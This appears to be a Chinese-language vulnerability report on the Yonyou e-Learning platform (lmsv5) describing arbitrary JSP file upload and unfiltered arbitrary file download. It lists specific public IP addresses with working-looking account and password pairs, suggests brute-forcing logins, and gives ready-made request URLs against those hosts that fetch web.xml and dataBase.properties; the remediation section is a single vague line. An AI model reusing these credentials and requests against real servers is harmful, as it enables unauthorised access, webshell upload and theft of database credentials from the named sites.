是用友的e-Learning
存在任意文件上传和任意文件下载。不过要一个普通账户登录才可利用,当然我们可以暴力破解……没有验证码 首先需要一个低权限账号登录(反正没有验证码,设定好简单密码,按数字直接丢去暴了都没有问题)
给出几个默认或简单密码的:
http://58.214.233.113:8800/lmsv5/
00041013/123456
00041014/123456
00041012/123456
http://60.216.4.162:9091/lmsv5/
107649/111111
107648/111111
107640/111111
文件上传
http://60.216.4.162:9091/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp
看源码:
另外一个:
http://58.214.233.113:8800/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp
任意文件下载
官方配置中是这样写的:
<action name="downloadfile!*" class ="cn.com.iactive.learn.res.upOrdownFile.FileDownloadAction" method="{1}">
<!--下载文件的目录,若不在这个目录下则拒绝下载以保障安全,这点在action类中实现 -->
<param name="inputPath">/coursedir</param>
<result name="success" type="stream">
<param name="contentType">application/octet-stream</param>
<param name="inputName">inputStream</param>
<!--动态获取文件名-->
<param name="contentDisposition">attachment;filename="${fileName}"</param>
<param name="bufferSize">4096</param>
</result>
看得眼泪流。
一看代码:
public InputStream getInputStream()
throws Exception
{
int size = this.url.length() - 1;
for (int i = 0; i < size; i++)
this.url = this.url.replace("\\", "/");
return ServletActionContext.getServletContext().getResourceAsStream(this.url);
}
直接的用url参数那啥那啥……完全就没有过滤嘛
http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml
http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties
另外一个例子:
http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml
http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties
修复方案:
文件上传:只能限制了啊
文件下载:也限制啊